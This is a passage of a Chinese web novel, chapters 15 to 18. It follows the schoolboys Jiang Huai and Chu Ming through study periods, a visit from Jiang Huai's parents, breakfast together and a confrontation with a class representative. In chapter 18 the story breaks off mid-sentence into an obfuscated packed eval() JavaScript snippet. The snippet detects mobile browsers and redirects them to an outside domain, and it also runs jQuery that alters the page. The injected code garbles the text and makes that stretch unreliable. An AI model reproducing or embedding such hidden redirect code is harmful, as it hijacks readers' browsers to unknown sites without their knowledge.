江淮看着他突然扯了抹笑:“你其实挺有意思的。” 15. 第 15 章 晚自习第一节是语文,自行做题,老师在讲台上守着。 卫疏批改完默写,往教室巡视一圈后站定在楚明桌前,敲了下他桌子:“江淮同学,你跟我出来一趟。” 楚明放笔,迅速让开座位。 江淮抬眼,轻扫了他一下才往外走。 卫疏站在护栏旁,轻声问:“你交上来的……是自己默的还是直接写的?” 江淮说:“默写的。” “哦,临时背的?”卫疏直觉他不会说谎,上次已经领教过了。 江淮无聊地点了下头:“嗯。” “正确率非常高,挺不错的,”卫疏稍微停顿了一下,说:“我听一些同学说,你好像是被家里人硬打……拉来学校的,还几次没逃出去,有没有这回事?” 江淮面色微沉:“……” “难怪这两天这么个性,”卫疏把他看了一圈:“那你有受伤吗?” 江淮又有些无聊,时刻想要终结这种家长里短式的聊天:“已经好了。” 卫疏轻顿,她把比自己都高出一大截的男生打量了一下:“这么帅张脸幸亏没破相,不然多少女生的青春里该少些颜色。” 江淮轻拧眉:“您要说什么直说。” “这孩子,”卫疏啧了一声,她仰头往楼上某办公室的位置看了眼,又移开视线:“老师想说,时间会淡化很多东西,对错输赢都一样,你会越来越觉得当初自以为的成熟是多么多么幼稚……” 江淮看着她没有说话。 “有些事在一些阶段就是解决不了,不用太纠结太放在心上。”卫疏说:“人是复杂的,对的反面不一定是错,我不教你换位思考,有些人有些事本身就极端到你难以想象,我想让你试试学会放过。” 江淮很淡地瞥了她一眼:“我知道了。” 说着他转身,要进后门前微顿,他轻声说了句:“谢谢。” 卫疏轻舒口气,方才差点忘词。 她笑了笑:“不客气。” 看着江淮走进去的背影,她有片刻的走神: 她其实也有私心,比如让江淮给他挣个语文状元什么的。 按江淮这孩子的心态,但凡欠她些什么她又提出个要求,估计江淮怎么着都会上。 想到这儿她不禁笑出鹅叫。 - 第二节敏感且复杂且……诡异的历史课。 但好在有些人本能会选择逃避而非应对,历史自习课便又异常的平静祥和安宁。 “自习吧,”徐红梅拿着本教案坐到讲台上:“明天课代表收习题册上来,我检查第一节的改错和第二节的作业。” 马尾辫女生应道:“好的老师!” 楚明把座椅推到桌肚下,站着开始做题。 江淮往旁边瞥了一眼。 虽然楚明给人的第一感觉是安静不起眼那一挂,但身高其实和他差不多。 站着做题,贴在桌面的书页上有些小字看着就跟测视力似的——带着一种无以言说的煎熬。 江淮手腕翻转间摸出草稿本,翻了一页,大气磅礴地挥洒几个字后推到桌缝右边。 楚明偏头看了一眼,瞳孔微缩。 坐我腿上。 ——江淮。 楚明:“……” 他大概能懂江淮的意思,但视觉上还是有被冲击到,默默地把脑袋机械转回方才的角度。 余光里江淮的大腿已经横过来,像是可以停靠的港湾。 可惜他不是适停的船舶……他只当作没看见。 江淮左手托着左腮靠右看着他的脸,手豪横地越过三八线放到楚明课桌上,写: 站着方便写字? 楚明在旁边打了个小小的对勾。 江淮翻页后又写: 傻逼。我明天陪你罚站。 ——江淮。 楚明眉心跳了一下:“……?” 江淮轻笑一声,继续写: 要觉得姿势突兀蹲下坐我鞋上也行。 楚明摆手,默默默默地别开了眼: 他倒也没有这么想坐。 - 最后一节自习课,大马猴晚了足足五分钟才进教室。 刚进来就拔高嗓门把楚明叫去办公室,兜兜两分钟回来什么也没说就开始讲大题。 江淮往后门楚明走的方向看了一眼。 慢慢收回视线。 “在三角形ABC中,已知下列条件,解三角形……这是非常基础的一道题,大家先做一遍,等会我再给答案。” 江淮随手画出三角形几条边条件标完便即刻把剩下的边长角度补齐。 他乱写乱画的时候留意到大马猴时不时会往门外走廊看上一眼。 他极轻地敛眉,懒得多看,抽出必修一的数学开始刷函数的题。 半节课时间过去,江淮刷完两页题; 只剩五分钟下课时,江淮再翻一页,余光里依旧没有人坐…… 他转完两圈笔,抬手:“老师,去趟厕所。” 大马猴往后排看了一眼:“下课再去,没两分钟了。” 于是教室里哄笑一片,还有人偷偷扭头朝他吹了声婴儿把尿的哨音。 江淮:“……神经。” 而与此同不了时,差不多二十分钟前,楚明被叫进班主任办公室。 除去经典地中海和保温杯们,办公桌旁坐着一男一女,听到敲门声同时转头把他看着。 两分钟后,他们把他叫到走廊外单独设立的交流区——平时用于老师给学生坐着讲题以及学生吃饭、看书、做作业的区域。 紫红包包女说:“我是江淮的妈妈。” 灰色西装男说:“我是江淮的爸爸。” 楚明坐在他们对面,隔着张并不宽阔的木片桌,微顿后说:“叔叔阿姨好,我叫楚明。” 女人笑着说:“你是江淮的同桌是吗?我怎么听说……他没住学校宿舍,借住在你家的?” 楚明轻抿唇,他不知道后半句如实回答会不会让江淮挨顿批评。 “那看来是的,”女人没耐心等他的回答,又问:“你是自愿的吗?他有没有逼你、打你、骂你?” 楚明:“……没有。” “你别骗我,那小狼崽子的性子我知道,傻逼东西缺德玩意儿,这种事他肯定干得出来。”女人说:“你俩相处怎么样?他睡觉不打呼噜但非常不老实,从小就在梦里拳打脚踢,有没有吵到你?还有他嘴脏得跟厕所掏出来的一样,有没有说特别难听的话,比如****这种……” 楚明面上的表情有些许的变质。 “ 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男人见状立刻插针:“钱不是问题,明天我就把他衣服裤子鞋子袜子什么都搬过去,生活费我三五十倍支付都没问题,精神损失费也给点……” 楚明指尖搓得有些泛红。 沉默片刻他轻轻地点头:“好。” “这么快?”女人诧异地看着他,又看看男人,说:“你们那个班主任诓我呢。” 男人立刻起身:“诓你什么?我去要回来。” “你有毛病吧,坐下。”女人拧眉小声说:“他们班主任跟我说楚明同学性格懦弱为人算计……人都能接纳你儿子了这简直是菩萨心肠观音转世吧!” “那是那是,你别乱信。”男人附和着说:“马嘴就是爱瞎扯。” 楚明:“……” 他能清楚班主任那句话是真,却不清楚这两人的话是真是假。 “半个月,最多半个月的时间我就把江淮弄回去,”女人笑了笑,说:“他要是真的有什么你受不了的点你就跟我说,不要害怕那傻逼,他在老娘面前就是个哑屁,崩都崩不响。知道了吗?” 楚明轻轻点头:“……嗯。” “我能,”女人看着他忽然顿了一下,说:“我能摸摸你的头吗?” 楚明猛地抬了下眼:“嗯?” “啧你这样子跟江淮一模一样,”女人笑着说:“我就是刚刚母爱泛滥了一下,你别管我……” 楚明瞳孔微微缩紧,他目光恍惚了半秒,半秒后飞速垂头看着旧迹满满的木桌桌面。 女人并没注意到这点,从兜里掏出手机放到他面前:“哦对,这是江淮的手机,密码我来的路上不小心试到锁屏三十分钟,你晚点再交给他。“ 楚明听得有些想笑:“……嗯。” “那没什么问题我们就先走了,”女人把男人推了一把:“阿姨日后好好感谢你。” 楚明轻轻朝他们远去的背影摆手:“嗯。” 他把手机关机后揣进兜里,两手肘抵在桌面,侧过脸微微仰头看着四方形的教学楼顶端的天空和光色清浅的月亮。 几许燥热的晚风撩过久坐空调室发凉的肌肤。 他舒服得眯了眯眼。 就好像,这一时刻的某一瞬间, 江淮那个幸福小孩奋力抵抗开的幸福,染到了他的心尖儿上。 16. 第 16 章 江淮转笔转得手指发酸,正要放下,余光瞥见一抹身影,他即将叫停的动作立刻又重新启动。 楚明轻手轻脚回到座位坐下。 左边的视野被江淮晃得晕乎乎的。 “这三道,”江淮把笔慢慢停下来,笔头点在他习题册的第8、9、13题,说:“做。” 楚明微微抬手,见黑板上大马猴并没有写明要做什么作业。 他轻点头:“谢谢。” 江淮嘴唇勾了一下:“嗯。” 下课铃打响时江淮身子微偏,右手搭在楚明椅背上,凑过去小声问了一句:“你又去挨批评了?” 楚明笔尖停在纸上,停出个墨色圆点。 他回答:“……没有。” “那你干嘛?”江淮看着他:“我只挑过历史老师和班主任的火,谁批的你?” 楚明说不出口:“……” 能说是你妈吗?小狼崽子江狗屁。 “沉默在我这就是默认,”江淮拧眉说:“你不说我去找他们问。” 说着他就要起身,楚明情急之下只能抱住他的胳膊。 江淮垂着眼看他:“你说。” 楚明目光微颤,他知道教室里有监控用于巡查课上睡觉学生,于是他拉着江淮的手腕往自己校服衣兜旁放。 “你有毛病吧?”江淮被他这间谍见面似的姿势动作弄得发懵,没等他拉着自己手腕半天对不准兜,直接伸进他兜里。 手机。 江淮拧着的眉稍有舒展:“去偷你手机了?” “……”楚明轻摇头:“你的。” “你从哪偷的我手机?”江淮把手从他兜里掏出来:“哪个傻逼跟你说我手机在办公室里的?你他妈又被人当枪使了。” 楚明在心底畅快地叹了叹气,叹完才说:“你不认路,马老师让我帮你取一下,你爸妈寄到学校门卫室的。” 江淮眉眼转冷:“哦,送你了我不要。” 楚明:“……” 他倒是想要,但这个连亲妈都解不开的密码他又有什么办法? “兄弟你不是上课就吵着要上厕所怎么还不去?”赵逵逵走到过道这边:“我创造偶遇机会创造四五分钟了结果回头你还在跟你同桌聊。” 江淮手仍搭在楚明椅背,闻声挑眉:“等我干嘛?要我给你把吗?” 赵逵逵:“……” 他向来八风不动看不出表情当然原因不在于他情绪稳定而在于皮肤太黑,但今天面上就跟初春融化的冰河表面似的破碎不堪。 但很快破冰面重圆,他甩起巴巴掌:“兄弟你说话太他妈劲儿了!” “滚蛋,”江淮手指微曲敲了下楚明的背:“一起?” 楚明现在对厕所还浅浅有些不耻的回忆,他轻声说:“……我先保洁。” 江淮听到他这话才发现原来已经放学了。 教室里只稀稀拉拉留下几个在做作业的学生。 他轻顿:“我帮你。” 赵逵逵猛男震惊:“哥们,你这就对我爽约了?” 江淮看着他,眉眼带着些天然的冷酷:“刚没约你。” “渣男,”赵逵逵重重地摇了几下头:“我要是楚明我今晚就连夜搬座位。” 江淮轻呵一声:“傻逼假设。” 赵逵逵今日成功连续打卡“神经病”“傻逼”荣誉称号,硕果累累地转身走出教室,背影带着走出中国走出亚洲走向世界的自豪与骄傲! 放学保洁工作总体还算轻松。 扫地、倒垃圾、擦黑板、誊抄明日课表。 江淮主动承包最后两项工程,黑板上满是公式、图形的板书,他擦完时头发尖上都沾着白色灰沫。 楚明途经讲台时看了他一眼:“……” 傻逼。 但该说不说江淮的粉笔字挺好看的,是那种别人会留言“我以为长大就会自动写成这样”的类型。 笔锋凌厉、有骨有形。 可惜……楚明轻轻拧眉,提醒:“明天周四。” “嗯?”江淮顿了下:“我操|我以为明天周五,时间过这么慢的吗?” 楚明:“……” 他看着江淮走到黑板旁白墙上贴着的课程表前,食指戳在星期四的字眼上并往下滑,看清楚后立刻走回来擦掉重写。 竟隐隐从他身上看到了一个词。 傻。(没有逼的后缀) - 江淮自小拥有的第一辆自行车便是单座的。 他侧着坐到后座,手半撑在楚明腰侧,不太习惯地给脚找到支撑点。 今天外面没人蹲他,江淮从楚明后背中抬起头来,温和的夜风拍在脸上,他莫名心情不错。 “诶!”江淮搭他腰侧的手轻轻拍了拍。 楚明轻颤,连忙应道:“嗯?” 江淮问:“你这后座之前载过别人吗?” 楚明握着车把手有片刻的怔愣,但行车安全他还是谨记心间,没让自己轻易游神,认真地目视前方。 没听到回答,江淮又拍了拍他的腰:“问你呢?” 楚明说:“载过。” 江淮追着问了句:“谁?” 楚明轻顿后说:“我爷爷,奶奶。” 江淮再问:“没了?” 楚明不太理解他这个问题的意义何在,但还是如实答道:“……没了。” “哦,”江淮忽地一笑,他拍拍楚明的侧腰说:“你载人技术不行,没去祸害别人挺好的。” 楚明:“……” 自行车又停在那小区门口,江淮被单独扔在外面,起身伸了个懒腰。 这回他看清小区名字了,叫“城屿·城”。 进到沙县小吃坐下,老板看起来没有记性但居然还记得他。 老板走回来,稀奇脸:“同学你又来吃馄饨啊?” 江淮轻轻点头:“今天不吃,来杯水吧。”说着他把两元纸币放到餐巾纸盒上。 老板给他倒了杯可乐。 江淮叼着纸杯转身看向对面小区,“老板,能在这写会作业吗?” “写你的,不让我写就行。”老板爽朗地说。 江淮很轻地笑了声,“明天来写,今天没带。” “……哦,我们店11点打烊,”老板说:“比一般沙县小吃晚得多。” 江淮问:“为什么?” “学生多,回家晚,”老板说:“给他们留口热乎的。” 江淮叼着纸杯环视空无一人的店内:“有人吗?” 老板苦楚地笑着:“……这不偶尔才守到 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他拉开书桌前的椅子慢慢坐下,把空白试卷摊开,往耳朵里塞上耳机后开始专心听听力。 没等“conversation 1”播出,耳机被指关节极其克制地一敲。 暂停了。 楚明懵然地抬了下眼。 江淮不知何时站到他面前,垂眼说:“你外放,我听听看。” 楚明:“……” 十秒之后英语听力回荡在狭小的卧室里。 楚明专心致志地勾着题干写写画画最后在选项字母上打个对勾。 江淮回到床上边听边按压微曲的双腿。 等21分钟的听力录音播放完毕,他轻拧眉说:“你下回戳个2倍速吧,太磨叽。” 楚明:“……” 楚明把卷子翻到后面,从阅读D篇开始往前倒着做。 刚才做听力时他借那些无关轻重的规则朗读和二次播放时间把语填和改错做完了。 半个小时后他开始对答案。 稍后些江淮去客厅接了杯水喝,喝完他新接一杯进卧室递给楚明。 视线落在他卷面时轻挑眉,一手撑在桌沿,一手搭在椅背,他轻抬下巴:“这就是你平时的字儿?” 楚明左手端着水杯在喝,右手在腿上玩笔。 江淮的声音落在耳边,右半边身子都跟震麻了似的微微发热。 他继续喝水,用鼻音回应:“嗯。” 江淮看着叠在最上面的语文试卷,上面写着半片作文构思,论点分论点和掐头去尾的简写版名言事例。 字是那种特别随性的类型,楷体纸上半行半草的洒脱与散漫。 江淮目光转到楚明的脸上,看着他专心致志地看着水杯里的透明水。 “不是都说字如其人?”江淮说。 楚明微微掀起眼皮看向他:“嗯。” 他现在几乎是被江淮圈在书桌和座椅之间的,有种怎么也逃不出去的压迫感。 江淮微微压低些问:“那怎么,你不是你的字那样自由任性?” 17. 第 17 章 楚明眼睫极轻地颤动了一下。 他正准备低头喝水以回避开这个问题,江淮就跟他心里的蛔虫似的读懂他的意思,伸手夺过水杯一口喝光,把水杯放到书桌上。 楚明:“……”真霸道啊小狼崽子江狗屁。 他舌尖轻轻卷过尚还润湿的唇,说:“你都说了字如其人……可能人变得太快,字还没跟上趟。” 江淮看着他:“是吗?” 楚明轻顿,没回视他,只是低低地回道:“……嗯。” 江淮收回搭在座椅上的手,直起身子走回床上躺下,脑袋在枕头上翻来覆去滚满几圈后他侧过脸,看向还在椅子里发呆的楚明,说:“你心态挺特别的。” 楚明朝他这边抬了下眼,没有回答。 “关灯前说句晚安再走。”说着江淮把空调被蒙到脸上,睡觉了。 楚明:“……” 他顿了顿。 好像,江狗屁总是能精准戳中他一些点,虽然只是若即若离地一戳,没深入,但他总会有些细密的……说不上来是不开心还是难过的情绪。 真烦啊,江大戳子。 他把应该写完的卷子清一色整理好塞到书架上。 按关台灯时轻轻说了句:“晚安。” - 可能在楚明家睡觉睡出自适应能力,江淮从床上坐直时起身往卫生间去。 叼着牙刷走进客厅时他余光瞥见时间:06:22。 而被照得透亮金黄的屋子里,沙发上楚明带着眼罩脸朝上,睡得正香。 江淮:“……” 他好像有点明白过来昨天楚明跟他说迟到理由时候的那股别扭劲儿了。 他妈的楚明昨早根本就没醒来是不是! 江淮不慎呛咳了下,连忙跑回卫生间吐掉牙膏沫子,接捧清水往脸上随意拍两下,他走了出去。 楚明依旧没醒。 江淮下楼买回来两份早餐坐在餐桌上准备进食时, 楚明依旧依旧没醒。 时间走到06:39。 江淮走到沙发边上,沙发不长也不宽,但人体肩宽往腰宽是骤然收束的,尤其是楚明腰部偏劲瘦,以至于横着腰那截留出基本可以坐的空间。 江淮挨着他侧腰坐下,正想着拍拍他,就感觉屁股下面一震。 只听压在楚明背下的手机正字正腔圆地唱着:“快七点了还不醒?!快七点了还不醒?!” 江淮:“……” 他面色微微发沉,伸手从楚明肩膀往下把手机捞出来摁关。 楚明没醒。 闹钟响了两轮,十分钟左右后,江淮双臂抱胸俯视着正迷糊地往上掀黑色眼罩的楚明。 楚明先是偏过头缓慢适应满屋的亮色光线,适应后他照旧抬腿想翻身下沙发。 但腿抬到一半就被按住。 楚明大惊失色地看向这边,对上那只扣在自己膝盖弯的手和背光有些看不清的脸时,他蓦地僵住。 他嗓音带着才睡醒的颗粒感:“江……江淮?” 江淮抬扣着他的腿,冷声说:“我他妈以为你起挺早呢。” 楚明咽下唾沫缓解喉管的艰涩,大概是起床气或者之类的东西吧,他下意识作出反问:“我让你这么以为的吗?” 江淮微愣,愣完他饶有兴味地向下俯了些:“原来你硬得起来啊。” 楚明脑子片刻有些宕机。 硬……什么硬? 他空空如也的大脑甚至也只生成了看看裆的指令。 江淮见他又不说话,伸手往他脸上拍了拍:“你他妈说梦话呢?” 楚明被他拍得彻底清醒过来。 他连忙挣回自己的腿,但没成功,江淮劲儿挺大的。他便只能在一腿被迫高抬的姿势下,目光自下而上看向江淮:“我……” 江淮轻拧着眉看他,还想说些什么才被扔开的手机又是一震,惊天叫唤着。 楚明手忙脚乱地摸找手机。 江淮侧过上半身,在楚明脚踝边摸到手机丢到他面前,了无兴趣地松开他腿:“起吧,傻逼。” 楚明:“……” 江淮坐回餐桌,抽出根尚还温热的油条掐断咬着吃,两分钟后他见楚明背着书包到鞋柜旁准备换鞋。 他轻拧眉:“你不吃一口?” 楚明刚弯下腰的动作微顿:“……我另买吧。” 江淮沉着脸:“过来吃。” 楚明沉默两秒后直起身子走到餐桌边,把书包放在地上看着眼前的吃食。 两杯豆浆两根油条。 楚明默不作声地把其中一根油条隔着塑料袋扯成小团,在此期间他叼着吸管浅喝两口豆浆。 而后掀开盖子,取来筷子把油条小团泡进还剩半杯的豆浆里。 等油条泡得浑然没有金黄酥脆的外表,他小口小口地吃完。 江淮始终盯着他的动作,叼着半根油条的他正机械地将油条往嘴里一节一节地送。 江淮看着他的嘴角沾上的白色豆浆:“谁教你这么吃的?” “嗯?”楚明快速咽下口里那层浸豆浆甜味后的松软,含混地说:“挺好吃的。” 江淮静静地看着他,面无表情地咽下嘴里刚开始嚼的那截油条。 楚明看了他一眼,把豆浆杯递给他:“你试试?” 说着他就要起身重新拿双筷子。 就见江淮借着他那双筷子把里面泡着的油条夹起来,仰头送进口中。 油条软的,里面积蓄了不知道多少的豆浆,咬下去瞬间炸开汁水。 楚明坐回去,双手放在桌边看着他:“是不是还行?” 江淮点了下头:“嗯。” “不过这样吃很顶饱,”楚明说:“不容易消化。” 江淮嚼完咽下,“等我。” 楚明以为自己幻听了:“……什么?” 江淮抽出纸巾往嘴上一带,起身去阳台取校服:“等我一起。” 楚明坐着看他长腿几步迈出阳台,收下短袖毫无遮掩就把穿着的那件脱下…… 楚明生硬地别开视线,捞起书包挎到肩头,认真地收拾桌上的些许残羹。 到楼下时楚明要先去趟旁边早餐店。 江淮跟着他去,问:“没吃饱?” “饱了,”楚明看着窗口的阿姨说:“还是按之前的来,谢谢阿姨。” 老阿姨把早已装点好的塑料袋给他。 “这么多?”江淮看着那三袋:“你……在跑业务吗?” 楚明默了半刻才说:“帮同学带的。” 江淮帮他提着,并蹭上他后座,把怪模怪样的早餐品类看过 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怕被楚明发现,江淮快他两步先进教室。 周四早自习背读语文,中文博大精深,抑扬顿挫间什么屁话都是有韵调的,就跟念诗一样。 又到一周三次的念诗会,大马猴穿梭在一众诗人之间抓打瞌睡的。 江淮倚墙站着看语文课本,读那天没读完的《祝福》(by鲁迅)。 他看书速度快,连着翻了两页他皱着眉把书放下。 楚明进来时便正恰见他面色不太爽朗地看着书,往下瞥了眼,有些好笑地把头偏回去。 也是,江硬骨头能忍得了祥林嫂? 这个问题并没有答案,但显然大马猴忍不了祥林嫂,走过来时说了句:“江淮,读出声音来——你看课文课下看,早自习要拿出朝气拿出精力!” 他说时前面几排的人清一色把脑袋转过来,一副好戏开场的样子。 江淮轻挑眉:“早自习不是自习吗?” 大马猴:“……” 他交叉在背后的手有一瞬间卡住了,皱眉思考半瞬他才说:“你就当早自习是早读,早读时间还是以读为主。” 江淮淡淡地点了下头:“那我现在在以看为辅。” 扭头看过的人发出一阵爆鸣——大马猴转过去就是一巴掌拍那男生背上。 于是脑袋都慢慢转回去,大马猴脸上青一阵白一阵地走回讲台,站了一会儿他把语文课代表支上去,自己先回办公室了。 语文课代表站在讲台上装模作样朗读了几分钟,把口香糖塞嘴里,下巴往后门点了点,立刻有个男生去站岗。 她一路走到靠窗的最后一排。 江淮正翻着课程要求看哪些是背诵篇目需要读背的,就感觉鼻尖骤然多了股……粘腻的糖香。 微拧着眉偏头时只见同桌已经不是楚明。 相反站着个女生——歪嘴冲天眉,尖眼塌鼻梁。 他轻顿,目光越过她去找楚明。 楚明站在远处垃圾桶旁,正专心致志地捧着书小声朗读,浑然一副无事发生的样子。 江淮轻呵一声,拉开椅子坐下,抬眸看了眼女生:“有事?” 18. 第 18 章 “当然有事,”冲天眉把口香糖嚼了嚼,才说:“我守语文早自习自然我管你,把声音读出来,不然有你好看的。” 江淮连眉都没皱,只轻轻歪了点儿头,冷声说:“怎么着?” 冲天眉微愣,没料到他会这么问,连着口香糖都暂停嚼巴的动作,狠狠地说:“用烟头给你烫个疤,哦还要小心放学前给你锁厕所叫天天不应叫地地不灵。” 江淮了然:“除此之外呢?” 冲天眉:“……你他娘的神经病吧,说半天话了你读书读不出声音!” 江淮小幅度地勾了勾唇:“你管不着我,也犯不着你管。” “行,你等着!”冲天眉摔了楚明的椅子就气鼓囊当地往讲台上走,沿途能听到些许“霸气”“天姐”的压抑着的喊声。 不知道的以为刚摔的不是椅子而是江淮呢。 江淮站起来,弯腰伸腿勾起楚明的座椅,扶正推回桌肚下时,只听前排嚣张地说着。 “还得是我们天姐出马,摔了椅子这还默默地捡起来呢。” “以为多横的人呢,进天姐嘴巴底下还不是横着出来了。” …… 江淮指尖有一搭没一搭地敲着靠背,余光瞥见楚明捧着书走回来,站到过道里没往座位里进。 而后大马猴出现在后门门口,苦瓜着一张脸监视一众早读情况。 两分钟后大马猴走了,教室里昂扬的读书声立刻缩水。 江淮手心撑着桌面,偏头看着跟自己差不多两拳距离的楚明,侧腰歪头从下往上看着他的脸,很轻地说了句:“咱俩换个位置。” 楚明微愣,茫然地看向他:“……啊?” “坐进去。”江淮微微抬起头,语气带着不容置喙的霸道。 楚明当真是有些不明所以,但触及到他这个眼神还是抱着书从他背后挤进去,站到他座位上。 “东西晚点搬,”江淮说:“我出去一趟。” 楚明看了看他:“……嗯。” 江淮把座椅拉开后便走出教室门,后排几个看到动静的都朝楚明吹了声没架势的口哨。 杂七杂八的眼神盯得人不舒服。 楚明站在这却有种怪异的难以言明的……安全感? 两墙交接的直角地带,身前是桌,而唯一对外打开的这片空白被江淮走前拉开的座椅给填满。 不知道是不是江淮在这个位置上坐得太久,他感觉站在这里,周身便包裹满江淮的气息。 让人不自觉就安定下来。 - “通知你们班主任了。”江淮站到座位上,俯身去原桌上拿书时对着楚明耳朵说。 楚明压在书页上的指尖微动,“哦。” 江淮也没多说,他把那篇看到大半的《祝福》再度拾起,面不改色地读完剩下一页半。 早上第一节课就是历史。 中途休息的五分钟楚明索性站着就没坐下,而旁边江淮正背对讲台、屁股搁在桌沿低头翻着语文书。 楚明以为他要就这么嚣张地看到历史课上课才转回去坐下。 却不料下一秒江淮就抬手抚住他脖颈,左手手心轻轻地压在他跳动的颈动脉上。 楚明轻颤:“你……” 江淮看着他的眼睛,大拇指指腹往上滑按了按他的下颌角,淡声说:“你觉得,《祝福》还要学多久?” 楚明顿住。 他没想到江淮对他来这一下,单纯是在问一个“学术问题”。 他隐隐记得卫疏课上讲过,正想回答就听江淮继续说。 “什么时候学《老人与海》?” 江淮微微扬着头在看他,眼睛形状原因,这么抬着些看人便格外有压迫感。 楚明轻抿唇,不知道他这问出来什么意思,只认真地回答道:“卫老师说下周——” “我问你呢,傻逼。”江淮冷声说。 楚明顿住,实在不知道该怎么回答。 正巧此时上课铃打响,江淮极有分寸地松手,起身转向讲台面色微沉地站着。 徐红梅进教室时难以避免地扫过后排站着的俩高个儿。 重重叹气后走到讲台中央,说道:“这节课继续上诸子百家,把课本翻到……” 楚明:“……” 他默默地偏过头去想从自己桌肚里掏出历史书。 江淮似乎察觉到这点,偏头说:“懒得翻,拿我的看吧。” 楚明蹲下从江淮的桌肚里开始翻书:“……”真懒啊江大少爷。 江淮桌肚相当整齐,不过可能因为全是新书的缘故。 他翻出历史必修三,翻到“罢黜百家独尊儒术”这课后兀自看着。 而旁边江淮百无聊赖地看着他看书。 江淮沉默半刻后越过他两条胳膊把桌面上靠墙摊着的草稿本和笔卷到手里,放到桌面上写了句什么。 挪到桌缝中间。 桌肚右边数学高一53拿给我。 ——江淮。 楚明看着他这霸气的命令,心里也想大而巨之地过个“拿本XX给我”的瘾,但尚且没这个胆。 弯身翻找着那本绿色《五·三》。 把书递过去时瞥见草稿纸上又多了一句话。 你要什么? ——江淮。 楚明微顿,他对文史类科目的课堂学习并不怎么在乎,尤其是上课纯度不高趣味属性为王的课,他一般情况会用来刷题。 他把本子挪过来些写道: 《历史必刷题》,也右边,谢谢。 江淮弯身去找,指尖挑起那花花绿绿的教辅习题,懒得弯腰他把上面几本横着撇过来,再看侧边书名。 维克多新高考英语阅读6+1;学霸黑白题·数学;高中必刷题·物理;高中必刷题·历史;高中必刷题·生物。…… 江淮轻顿,从物生之中抽出历史,递给楚明。 楚明接过时用口型说了声谢谢。 江淮懒得回不客气,捏着笔刷完几道函数题才突然皱了下眉: 文科生还兼刷物理生物题?嫌学习压力太轻么? 刷到课程中途楚明才反应过来,江淮是站着的。 江淮现在刷的题大多是求定义域值域,运算量不大,没用上草稿本。 楚明视线便往上微微一瞥。 草稿纸顶上还留着昨天的往来,最上面那条是: 我明天陪你罚站。 ——江淮。 楚明背着孔孟荀老庄墨韩非等子的思想的脑子忽然一片空白,只觉得心底好似缓缓淌过一从冬天的泡澡水。 就顺着血管流淌,暖融融地汇入脑门、脚趾,什么地方都没落下。 他捏着笔悄悄抬头看了眼江淮。 趁他没注意又垂下目光,笔尖轻快地在答案选项上打出大大的对勾。 - 下课铃一响,江淮就把椅子拉开潇洒地坐下,微微抬起下巴轻阖双眼。 在假寐。 但还没等他假寐明白,桌角被小心翼翼地敲了一下。 江淮不悦地睁眼看向这人。 长驴脸、黑框笨重眼镜、瘦削、一米七高低。 这人看着他顿了一下才说出话来:“江淮同学,我叫刘明宇,是21班班长,班主任让我来跟你说说哪些情况会加减班级分,你以后可以稍微注意一下。” 江淮看着他:“口头说?” “嗯……也没有纸质的。”刘明宇说:“你放心,我背过两星期,绝对不会记错。” 江淮指尖点在大腿上,点了两下才说:“只说加分情况。” 刘明宇:“……” 他伸手把眼镜往上推到舒适时才闭上眼开背:“班级分加分规则:周考总分或单科年级第一加1.5分;进步最大学生加1分;拾金不昧加0.5分;主动捡起垃圾(被领导 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295028|182703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撞见)加0.5分……” 上课铃打响时他终于流畅地背完,食指指关节把眼镜推稳后一气呵成地跑回座位。 跟屁股后面有人追杀似的。 江淮手肘撑在桌面,手指微曲轻轻抵在额角隔着楚明若有所思地看向窗外。 没等他思考出个所以然来就听自己的名字在教室里响亮的回响。 “江淮!!” 江淮:“……” 他缓缓扭过头去,就见早上才要他好看的冲天眉站在讲台上拿着戒尺像猪八戒扛猪耙,她往下看着,又喊:“江淮!” 江淮这才意识到卫疏没来上课。 他懒得搭理地看向楚明,散漫地问:“这节课要什么?” 楚明:“……”大哥你引的火就这么烧到我身上了?! 他一时失语,但江淮眼里那股散漫劲就跟公园遛弯老大爷看巷口下象棋的下棋一样,毫无半点自己的名字正在满教室张着隐形的翅膀飞的意识。 他只得说:“数学必刷题。” 江淮轻笑一声:“自己来拿。” 楚明:“……” 他只得微微俯低上半身,江淮往后退了些,胸膛和课桌之间隔着半臂距离。 楚明趁着这间隙把脑袋探过去,脑袋凑到他大腿上方正要艰难翻书脖颈就被轻轻按住。 随后江淮的呼吸洒在他耳边:“躺会儿。” 话落江淮抬起目光,直刺向讲台上那个不厌其烦喊着自己名字的声,终于有所回应:“鹦鹉学舌吗傻逼。” 冲天眉等到回应时笑了笑,没管他说什么,只笑着说:“卫老师请假,这节课统一默写——你上讲台来写。” 江淮指尖轻轻抚在楚明脖颈上,他挑了下眉:“我不上去。” 冲天眉似乎早有预料他会来这么一下,瞪大眼睛戒尺指着满教室转了一圈,戒尺所到之处俱是一阵欢呼。 “公然抗命!天姐替卫老师教训他!” “打他十个手板!二十个三十个!” 见她走下来还有段距离,江淮微俯身轻声问:“教室监控是摆设吗?” 楚明摇不了头,只能说:“不是。” “那正好,记录一下。”江淮嘴唇极轻地勾了一下,微抬头看着即将走到面前的女生。 楚明隐隐有些不妙的预感。 他看不见江淮,只能感受到江淮落在自己后颈的手力气俱松。 有种暴风雨前的平静。 预感出现之时楚明根本没顾着什么,想也没想手臂反折到背后,一把抓住江淮的手腕,紧紧扣住。 别打架…… 江淮蓦地被抓住手腕,他垂眸扫了眼楚明乌黑的后脑勺和白净的后脖颈。 冲天眉走到他课桌前,戒尺抵在桌面重重地往下砸了两声,发出清脆的“DUANGDUANG”声。 “快点的,手伸出来!”冲天眉朝他挑了挑并不存在的眉毛。 江淮啧啧两声: 一节课功夫给自己剃了个眉。 该改个绰号叫无眉姐。 无眉姐见他半天没有反应还半是含笑半是讥讽地看着自己,抬起戒尺就落下来。 江淮抬手去挡,戒尺生生嵌进掌心肉里,烙下长条矩形红边印子! 教室里瞬间爆发出无数声倒吸凉气的声音。 还有几声起哄的:“天姐威武!”“继续啊还没看够!”…… 